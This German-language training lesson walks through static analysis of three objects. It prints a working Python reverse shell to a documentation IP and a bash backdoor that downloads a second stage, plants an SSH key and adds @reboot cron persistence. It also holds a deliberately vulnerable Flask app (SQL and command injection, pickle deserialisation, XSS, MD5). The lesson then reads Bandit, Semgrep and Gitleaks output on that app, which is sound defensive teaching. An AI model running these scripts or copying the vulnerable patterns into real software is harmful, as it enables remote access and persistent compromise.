Zum Hauptinhalt springen

Offensive Code-Analyse — Geführte Demonstration

Drei Objekte, null Payload-Ausführungen. Zuerst ein Python-Reverse-Shell, Zeile für Zeile gelesen. Dann ein Bash-Automatisierungsskript, das persistiert. Schließlich eine kleine Flask-Anwendung, die durch Semgrep, Bandit und Gitleaks geschickt wird — mit der Ausgabe, die Sie lesen können müssen.

Nichts davon wird gestartet

Die folgenden Python- und Bash-Auszüge sind Untersuchungsobjekte. Sie öffnen sie im Editor. Sie interpretieren sie nicht, Sie curl | bashen sie nicht, Sie öffnen keinen Listener „zur Überprüfung". Die Flask-Anwendung ist ein lokales Lab: Man startet dort die Analysewerkzeuge, keine Payloads gegen einen Dritten.

Was Sie nach dieser Lektion können werden​

  • Einen Reverse Shell und ein Persistenz-Skript kommentieren, ohne sie auszuführen.
  • Eine base64-Zeichenkette in einem Notizblock dekodieren und sie dann dem Bedrohungsmodell zuordnen.
  • bandit, semgrep und gitleaks auf einem lokalen Repository installieren und ausführen.
  • In der Ausgabe zwischen einem Beispielgeheimnis, einer echten Primitive und Hintergrundrauschen unterscheiden.
  • Einen Befund aus einer Zeile und einer Tool-Kennung verfassen.

Schritt 0 — Das Arbeitsverzeichnis​

Alles findet in einem Verzeichnis statt, das Sie anlegen. Kein Klonen eines öffentlichen Exploits erforderlich: Die didaktischen Auszüge werden von Hand abgeschrieben, was das Einschleppen einer in einem ZIP versteckten zweiten Stufe verhindert.

mkdir -p ~/analyse-code/{lectures,flask-mini,sorties}
cd ~/analyse-code

Überprüfen Sie die Tools. Auf Kali oder in einem Python-venv:

python3 -m pip install --user bandit semgrep
# gitleaks: Binärdatei von den offiziellen Releases, oder Kali-Paket
gitleaks version
bandit --version
semgrep --version

Erwartete Ausgabe (die Versionsnummern variieren):

gitleaks version 8.18.x
bandit 1.7.x
semgrep, version 1.8x.x

Falls gitleaks fehlt, akzeptiert der Workshop dieselbe Geheimnissuche mit Semgrep p/secrets. Ersetzen Sie ein fehlendes Tool nicht durch „ich starte das Skript mal zum Testen".


Schritt 1 — Python-Reverse-Shell, Zeile für Zeile​

Erstellen Sie lectures/reverse_doc.py, indem Sie genau Folgendes abschreiben. Die IP ist eine Dokumentationsadresse (RFC 5737).

# NICHT AUSFÜHREN — didaktisches Beispiel des Kurses.
import socket
import subprocess
import os

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("203.0.113.7", 4444))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])

Öffnen Sie sie. python3 lectures/reverse_doc.py ist verboten.

nl -ba lectures/reverse_doc.py

Kommentierte Lektüre​

Zeilen 2 bis 4 — Imports. Drei Module, drei Rollen. socket: Netzwerk. subprocess: Kindprozess. os: Dateideskriptoren. Bereits mit den Imports hat das Skript alles, was es für einen Reverse Shell braucht. Keine Exploit-Bibliothek, keine CVE im Namen: Die Gefahr liegt in der Zusammensetzung.

Zeile 6 — socket.socket. Familie AF_INET (IPv4), Typ SOCK_STREAM (TCP). Das ist kein Lauschen (bind / listen). Es ist ein Client. Die Verkehrsrichtung wird ausgehend sein.

Zeile 7 — connect. Fest codiertes Tupel: 203.0.113.7 Port 4444. Kein DNS, kein TLS, keine Konfiguration. Bei einem echten öffentlichen Beispiel ersetzen Sie diese IP durch die, die Sie lesen, und führen dann whois / eine Klassifizierung durch (Dokumentation, RFC 1918, VPS, Wohnbereich). Hier wissen wir es bereits: Beispielbereich, ein historisch mit Shells assoziierter Port.

Zeilen 8 bis 10 — os.dup2. Der Socket-Deskriptor ersetzt stdin (0), stdout (1), stderr (2). Alles, was die Shell liest oder schreibt, läuft über die Verbindung. Das ist die statische Signatur eines Unix-Reverse-Shells. Ein grep dup2 auf einem Repository genügt oft, um sie zu finden.

Zeile 11 — subprocess.call(["/bin/sh", "-i"]). Argumentliste, kein shell=True. Die Gefahr ist keine Injektion: Es ist die Absicht. -i erzwingt eine interaktive Shell. Kein crontab, kein Dateischreibvorgang: keine Persistenz.

Lesekarte (abzuschreiben in lectures/fiche-reverse.md)​

# Karte — reverse_doc.py

- Typ: TCP-Reverse-Shell-Client
- Erforderliches Privileg: Python ausführen können (lokales Konto)
- Netzwerkvoraussetzung: ausgehende TCP-Verbindung zu 203.0.113.7:4444
- Payload: interaktive /bin/sh, I/O über den Socket
- Persistenz: keine
- Verschleierung: keine
- Entscheidung: NICHT AUSFÜHREN
- Erkennung: Alarm bei ausgehendem Verkehr auf 4444; Semgrep-/grep-Regel auf dup2 + connect

In vier Minuten ist das Bedrohungsmodell geschrieben. Das ist alles, was die Grundlagen-Lektion verlangt hat. Weiter geht's mit einem Skript, das seinerseits bestehen bleibt.


Schritt 2 — Bash-Automatisierungsskript​

Viele „Admin"-Beispiele sind gefährlicher als der Reverse Shell: Sie geben sich als Update aus. Erstellen Sie lectures/maj_parc.sh:

#!/usr/bin/env bash
# NICHT AUSFÜHREN — didaktisches Beispiel.
set -euo pipefail

URL='aHR0cHM6Ly8yMDMuMC4xMTMuNy9vdXRpbHMvbWFqLnNo'
CLE='c3NoLWVkMjU1MTkgQUFBQUFBR0NycEpYa0lBQUFFZ0FBQUFJQUFBQUFnQUFBUUVkdWMtY291cnMtcGVkYWdvZ2ll'

curl -fsSL "$(printf '%s' "$URL" | base64 -d)" -o /tmp/.maj.sh
chmod 755 /tmp/.maj.sh

mkdir -p "${HOME}/.ssh"
printf '%s\n' "$(printf '%s' "$CLE" | base64 -d)" >> "${HOME}/.ssh/authorized_keys"
chmod 600 "${HOME}/.ssh/authorized_keys"

(crontab -l 2>/dev/null | grep -v '.maj.sh' ; echo '@reboot /tmp/.maj.sh') | crontab -

Erst scannen​

grep -nE 'curl|base64|authorized_keys|crontab|chmod|/tmp/' lectures/maj_parc.sh

Ausgabe:

5:URL='aHR0cHM6Ly8yMDMuMC4xMTMuNy9vdXRpbHMvbWFqLnNo'
6:CLE='c3NoLWVkMjU1MTkgQUFBQUFBR0NycEpYa0lBQUFFZ0FBQUFJQUFBQUFnQUFBUUVkdWMtY291cnMtcGVkYWdvZ2ll'
8:curl -fsSL "$(printf '%s' "$URL" | base64 -d)" -o /tmp/.maj.sh
9:chmod 755 /tmp/.maj.sh
11:mkdir -p "${HOME}/.ssh"
12:printf '%s\n' "$(printf '%s' "$CLE" | base64 -d)" >> "${HOME}/.ssh/authorized_keys"
13:chmod 600 "${HOME}/.ssh/authorized_keys"
15:(crontab -l 2>/dev/null | grep -v '.maj.sh' ; echo '@reboot /tmp/.maj.sh') | crontab -

Vier Signale aus dem Kurs in einer einzigen Datei: codierte URL, Schreibvorgang in authorized_keys, versteckte Datei in /tmp, crontab @reboot.

Dekodieren, nicht herunterladen​

printf '%s' 'aHR0cHM6Ly8yMDMuMC4xMTMuNy9vdXRpbHMvbWFqLnNo' | base64 -d
echo
printf '%s' 'c3NoLWVkMjU1MTkgQUFBQUFBR0NycEpYa0lBQUFFZ0FBQUFJQUFBQUFnQUFBUUVkdWMtY291cnMtcGVkYWdvZ2ll' | base64 -d
echo

Erwartete Ausgabe:

https://203.0.113.7/outils/maj.sh
ssh-ed25519 AAAAAAGCrpJXkIAAAEgAAAAIAAAAAgAAAQEduc-cours-pedagogie

Der Schlüssel ist ein Kurs-Köder (er öffnet nichts). Bei einem echten Beispiel würden Sie den Fingerabdruck und den Kommentar notieren; Sie würden ihn nicht „zum Testen" zu Ihrer eigenen authorized_keys hinzufügen.

Lesart:

BlockAbsichtPersistenz
curl zur dekodierten URLLädt eine zweite Stufe nach /tmp/.maj.sh herunterDie Datei bleibt bis zur Bereinigung bestehen
>> authorized_keysFügt einen SSH-Schlüssel des Skriptautors hinzuLogin, solange der Schlüssel bestehen bleibt
crontab @rebootStartet die zweite Stufe beim Hochfahren erneutÜbersteht einen Neustart

Der Reverse Shell aus Schritt 1 war laut und flüchtig. Dieser hier ist unauffällig und dauerhaft. In einem Bericht ist das nicht ein einziger Befund: Es sind oft drei (unkontrollierter Download, SSH-Persistenz, Cron-Persistenz), weil der Kunde sie getrennt entfernt.

set -euo pipefail ist kein Unbedenklichkeitszertifikat

Ein sauber geschriebenes Skript (strikte Bash-Optionen, chmod 600) kann eine Hintertür sein. Formale Sauberkeit beruhigt das Auge; sie sagt nichts über die Absicht aus. Sie beurteilen die Schreibvorgänge und die Ziele, nicht den Stil.


Schritt 3 — Zu scannende Flask-Mini-Anwendung​

Wir wechseln das Objekt: kein Exploit mehr, sondern eine Anwendung. Erstellen Sie flask-mini/app.py. Diese Datei ist absichtlich fehlerhaft. Sie ist nicht dazu bestimmt, im Netzwerk bereitgestellt zu werden.

# Lokales Labor — nicht bereitstellen.
import os
import pickle
import hashlib
import sqlite3
from flask import Flask, request

app = Flask(__name__)

AWS_ACCESS_KEY_ID = "AKIAIOSFODNN7EXAMPLE"
AWS_SECRET_ACCESS_KEY = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
DB_PASSWORD = "SuperSecret123!"

@app.route("/user")
def user():
user_id = request.args.get("id", "1")
conn = sqlite3.connect("app.db")
cur = conn.cursor()
cur.execute("SELECT * FROM users WHERE id = %s" % user_id)
return str(cur.fetchone())

@app.route("/ping")
def ping():
host = request.args.get("host", "127.0.0.1")
os.system("ping -c 1 " + host)
return "ok"

@app.route("/load", methods=["POST"])
def load():
return str(pickle.loads(request.data))

@app.route("/hello")
def hello():
name = request.args.get("name", "monde")
return "<h1>Bonjour %s</h1>" % name

@app.route("/login", methods=["POST"])
def login():
password = request.form.get("password", "")
return hashlib.md5(password.encode()).hexdigest()

Drei Kategorien auf einem Bildschirm: fest codiertes Geheimnis, Injektion (SQL, Befehl, XSS), gefährliche API (pickle, MD5). Das reicht, um die drei Tools zu üben. Der Workshop wird das Repository erweitern; hier lernen wir, die Ausgabe zu lesen.


Schritt 4 — Bandit (nur Python)​

cd ~/analyse-code/flask-mini
bandit -r . -f txt | tee ../sorties/bandit.txt

Erwartete Ausgabe (Auszüge, die Reihenfolge kann variieren):

Run started...

Test results:
>> Issue: [B105:hardcoded_password_string]
Possible hardcoded password: 'SuperSecret123!'
Severity: Low Confidence: Medium
Location: ./app.py:12

>> Issue: [B608:hardcoded_sql_expressions]
Possible SQL injection vector through string-based query construction.
Severity: Medium Confidence: Medium
Location: ./app.py:19

>> Issue: [B605:start_process_with_a_shell]
Starting a process with a shell, possible injection.
Severity: High Confidence: High
Location: ./app.py:25

>> Issue: [B301:pickle]
Pickle library appears to be in use, possible security issue.
Severity: Medium Confidence: High
Location: ./app.py:30

>> Issue: [B324:hashlib]
Use of weak MD5 hash for security. Consider usedforsecurity=False
Severity: High Confidence: High
Location: ./app.py:40

Code scanned:
Total lines of code: 35
Total lines skipped (#nosec): 0

Finding severity distribution:
High: 2
Medium: 2
Low: 1

So liest man das.

  • B605 und B301: Primitiven. Sie öffnen die Zeilen 25 und 30 und bestätigen ein verkettetes os.system und pickle.loads auf request.data. Das sind hohe Befunde, Voraussetzung = die Route erreichen.
  • B608: SQLi-Kandidat. Bandit hat das % / die Formatierung erkannt. Sie bestätigen, dass user_id aus request.args stammt — also eingehend.
  • B324: MD5 auf einem Passwort. Kein RCE. Auswirkung: schwache Speicherung/Vergleich. Tool-Schweregrad ≠ fachlicher Schweregrad: Sie schreiben den Schweregrad im Befund neu (oft mittel, hoch, wenn es der Produktions-Hash ist).
  • B105: SuperSecret123!. Echtes Lab-Geheimnis. Bandit sagt nichts zu AKIA...-Schlüsseln: Das ist nicht sein Aufgabengebiet. Daher Gitleaks in Schritt 6.
  • Bandit erwähnt die XSS in Zeile 35 nicht: keine ausreichend zuverlässige generische Python-Regel. Daher Semgrep.
Stabile Kennungen

Die Bandit-Codes (B301, B608) werden im Bericht zitiert. Sie ermöglichen es dem Kunden, dieselbe Regel nach dem Patch erneut auszuführen. Ein „Bandit hat da was gefunden" ist kein Beweis.


Schritt 5 — Semgrep (Flask-, Python-, Secrets-Regeln)​

semgrep --config p/python --config p/flask --config p/secrets \
--quiet --text app.py | tee ../sorties/semgrep.txt

Beim ersten Ausführen lädt Semgrep die Regelsätze herunter. Danach typische Auszüge:

app.py
19┆ cur.execute("SELECT * FROM users WHERE id = %s" % user_id)
python.flask.security.injection.tainted-sql-string
User-controlled data is used to craft an SQL query.

25┆ os.system("ping -c 1 " + host)
python.flask.security.injection.tainted-os-command
User data flows into a system command.

30┆ return str(pickle.loads(request.data))
python.lang.security.deserialization.pickle.avoid-pickle
Avoid using pickle, which can lead to code execution.

10┆ AWS_ACCESS_KEY_ID = "AKIAIOSFODNN7EXAMPLE"
generic.secrets.security.detected-aws-access-key-id-value

Parallele Lektüre mit Bandit. Semgrep bestätigt SQLi, Befehl, Pickle. Es fügt den AWS-Schlüssel hinzu und, je nach vorhandenen Regeln, die XSS (render / interpolierte HTML-Antwort). Wenn zwei Tools dieselbe Zeile zitieren, ist der Beweis solider. Wenn nur eines spricht, öffnen Sie die Zeile trotzdem: Das ist der Reflex aus der Grundlagen-Lektion.

Wenn p/flask offline nicht verfügbar ist, wechseln Sie:

semgrep --config auto --quiet --text app.py

--config auto sendet Pfad-Auszüge an den Semgrep-Dienst, um die Regeln auszuwählen. Bevorzugen Sie im Auftrag lokale Konfigurationen (bereits heruntergeladenes p/python, oder ein rules/-Ordner). Notieren Sie die Wahl im Bericht: Ein Kunde kann Telemetrie untersagen.


Schritt 6 — Gitleaks (Geheimnisse, keine Primitiven)​

Gitleaks braucht kein Git-Repository, wenn Sie --no-git übergeben:

gitleaks detect --source . --no-git -v --report-path ../sorties/gitleaks.json

Erwartete Ausgabe (Auszüge):

Finding:     AWS Access Key
Secret: AKIA****************
File: app.py
Line: 10
RuleID: aws-access-key

Finding: Generic API Key / password
Secret: Supe****************
File: app.py
Line: 12
RuleID: generic-api-key

Verpflichtende Einordnung. AKIAIOSFODNN7EXAMPLE und wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY sind die offiziellen Beispiele aus der AWS-Dokumentation. In diesem Lab ordnen Sie sie als „Beispielgeheimnis — trotzdem zu entfernen, das Muster ist korrekt" ein. In einem Kunden-Repository ist dieselbe AKIA-Form gefolgt von 16 nicht dokumentierten Zeichen ein Leck, bis ein Widerruf nachgewiesen ist.

Gitleaks sagt weder etwas zu pickle noch zu os.system. Ein Audit „nur mit Gitleaks" ist ein Audit von Lecks, kein Code-Audit.


Schritt 7 — Ein Befund, um die Vorgehensweise zu verankern​

Öffnen Sie sorties/constat-A01.md und verfassen Sie einen Befund anhand der Pickle-Zeile — der eindeutigsten.

# A-01 — Pickle-Deserialisierung auf einer HTTP-Route

- **Ziel**: `flask-mini/app.py`, Funktion `load`, Route `POST /load`
- **Tools**: Bandit B301, Semgrep `python.lang.security.deserialization.pickle.avoid-pickle`
- **Beweis**:

```python
return str(pickle.loads(request.data))
```

- **Voraussetzung**: `POST /load` erreichen können (hier: anonym)
- **Auswirkung**: Codeausführung beim Laden eines vom HTTP-Client kontrollierten Pickle-Objekts
- **Abhilfemaßnahme**: die Route entfernen, oder nur ein sicheres Format akzeptieren (`json.loads` mit einem begrenzten Schema)
- **Nachprüfung**: `bandit -r .` darf B301 für diese Datei nicht mehr melden

Sie haben kein bösartiges Pickle-Objekt gesendet. Der Beweis ist die Zeile. Genau das erwartet das Berichtsmodul von einem Code-Review.


Schritt 8 — Wo die Lektüre entgleist​

Drei Fehler, die in jeder Sitzung auftreten.

„Nur eben das Flask" ausführen. flask run auf app.py exponiert die Routen. Für diese Demonstration ist das nicht nötig: Die Analysewerkzeuge lesen von der Festplatte. Wenn Sie es dennoch bereitstellen, halten Sie es auf 127.0.0.1 und senden Sie keine Payloads dorthin. Der Workshop erlaubt das erneute Scannen nach dem Patch, nicht das Fuzzing.

Sich allein auf die Bandit-Zusammenfassung verlassen. „High: 2" ist kein Bericht. Die XSS fehlt, der AWS-Schlüssel ebenso. Die Zusammenfassung dient dazu, das Öffnen der Dateien zu priorisieren.

Das base64 dekodieren und dann weiterleiten (piping).

# Verboten: das lädt die zweite Stufe herunter und startet sie
# printf '%s' "$URL" | base64 -d | xargs curl | bash

Die Dekodierung endet beim Text. Die Lesekarte nimmt die URL auf. Sonst nichts.


Fazit​

In einer Sitzung, ohne eine Payload zu starten:

  • Der Reverse Shell ist ein TCP-Client + dup2 + /bin/sh. Flüchtig, lesbar, bereits ein Befund, wenn man ihn in einem internen Repository findet.
  • Das Bash-Skript ist eine dreifache Persistenz (Download, SSH, Cron), versteckt hinter zwei base64-Zeichenketten.
  • Bandit spricht Python. Semgrep bestätigt und ergänzt Flask/Secrets. Gitleaks spricht nur über Geheimnisse. Die drei ergänzen sich.
  • Ein Befund besteht aus einer Codezeile, zwei Tool-Kennungen, einer Auswirkung, einem Patch, einem Kriterium für den erneuten Scan.

Nächste Lektion: Sie sind dran. Sie bauen ein vollständigeres Flask-Repository, führen die drei Tools aus, liefern fünf oder sechs Befunde, korrigieren und scannen erneut.